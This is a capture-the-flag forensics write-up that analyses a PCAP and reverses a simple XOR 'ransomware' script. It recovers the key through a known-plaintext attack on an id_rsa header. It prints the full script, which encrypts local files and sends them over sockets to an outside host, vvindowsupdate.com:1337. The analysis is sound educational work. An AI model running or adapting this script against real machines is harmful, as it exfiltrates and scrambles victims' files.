Follow along with my YouTube video for an interactive walkthrough.
Visual Workflow
summary
The challenge starts with a provided PCAP file consisting of network data between two hosts. The workstation downloaded malware "rans[.]py" from a malicious server. The downloaded malware was not encrypted, and transported over HTTP. Extracting and reviewing the script reveals the nature of the malware to be ransomware. The script is relatively simple and bare, with 3 principle objects. Derive a 32 character key randomly. Encrypt files on the device, transmit the encrypted files.
The Encryption relies on an XOR cipher, where the file data is XOR'd with the random 32 character key. A known plane text attack is possible, if we can identify known text. We are able to identify known text in the headers of all the files within this PCAP. However, the id_rsa file has a 32 character header, matching our keylength. The key is extracted and the remaining files our decrypted. There is a password in the pdf files, that is used to extract the flag from the .zip file.
Technical workflow summary
PCAP Analyses - Discover encrypted and unencrypted network traffic
Carve Script from PCAP - A Python script used for encrypting files.
Analyze Script - Identify XOR known plain text possible vulnerability
Reverse Engineer Key - XOR known plaintext with encrypted data
Decrypt remaining files
Challenge overview
This challenge suggests that files have been encrypted via malware, and transfered over a network. While this does not provide any immediate insight into the challenge, it does help with understanding the attack surface.
PCAP Analyses
At a high level, there are ultimately five files found within. The first transaction we observe in the PCAP is a get request for a python file /rans[.]py. The server responds and identifies itself as an "http simple server". The python script is then transferred to the compromised host.
We then observe another file transfer for "resources[.]zip" except this is data transmitted by what we can only assume to be the now compromised host. This is not a download request. We observe a few more files being uploaded from the compromised host., including and a pdf, zip and rsa key file.
Carve script from PCAP
At this stage it is quite clear that the rans.py file which was sent unencrypted over HTTP will provide our next steps. Wireshark has a built in feature that allows the automatic extraction of unencrypted text based files.
Analyze the script
Reviewing the script quick reveals 3 principle functions. Key generation, encrypting files, and data transmission. The key generation portion is preceded with a comment about making sure to change the key, which is set to randbytes(32) by default. The encryption is the XOR cipher, consisting of data, key. Finally, the now encrypted data is transmitted to the call back server.
The vulnerability here starts with key generation. We know the key length, and when conjoined with plain text, we can work backwards and discover the key. All files share consistent headers and therefore can act as known plaintext. However, we could have issues if we do not know the key length. Thankfully, we do, and it so happens that id_rsa is also 32 characters which makes it a perfect candidate to act as our known plaintext, as we attempt to uncover the key.
import socket
import base64
import os
from random import randbytes
from pwn import xor
# DON'T FORGET TO CHANGE THIS TO THE REAL KEY!!!!
key = randbytes(32)
def encrypt(filename):
f = open(filename, 'rb')
data = f.read()
f.close()
encrypted = xor(data, key)
return encrypted
def send_encrypted(filename):
print(f'sending {filename}')
data = encrypt(filename)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vvindowsupdate.com', 1337))
s.sendall((f'Sending: {filename}').encode())
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vvindowsupdate.com', 1337))
s.sendall(data)
s.close()
def get_all_files():
file_paths = []
for root, dirs, files in os.walk(os.path.dirname(os.path.realpath(__file__))):
for file in files:
file_paths.append(os.path.join(root, file))
file_paths.remove(__file__)
return file_paths
files = get_all_files()
for f in files:
send_encrypted(f)
#os.remove(f)
Reverse Engineer the key
Here, we work to uncover our encryption key by utilizing the data already available to us. The id_rsa file header acts as our known plaintext.
3 Rules for double checking your work
1. encrypted data XOR known text = key
2. key XOR known text = encrypted data
3. encrypted data XOR key = known text
Known plain text - Hexidecimal (id_rsa header)
Hex = 2D 2D 2D 2D 2D 42 45 47 49 4E 20 4F 50 45 4E 53 53 48 20 50 52 49 56 41 54 45 20 4B 45 59 2D 2D
Known plain text - ASCII (id_rsa headers)
-----BEGIN OPENSSH PRIVATE KEY-----
Encrypted first 32 characters - Hexidecimal (id_rsa headers)
AFEF7E7DA6970900EEAB4DA38833FB85F76FE6155B4224A0ED341369BBB87474
decode fr - a fantastic tool I will link in the reference section above, offers the needed capabilities. By entering the known plain text of the header, we convert this to Hex and input this data into decode fr XOR decoder. The Key, now becomes our key, and the out put is our encryption key.
Encryption Key - Hexadecimal
82 C2 53 50 8B D5 4C 47 A7 E5 6D EC D8 76 B5 D6 A4 27 C6 45 09 0B 72 E1 B9 71 33 22 FE E1 59 59
Decrypting remaining files
Welcome_Aboard.pdf has password contained that is used for accessing a zip file. Previously in this challenge we noticed that file resources[.]zip.
After carving resources[.]zip from the PCAP file, we proceed to extract the files and we are prompted with a password. Providing the password from the PDF file works and allows us to extract the files.
Sure enough, we find the flag file contained within. For the purposes of spoilers, I have not included the flag in plaintext below.
Comments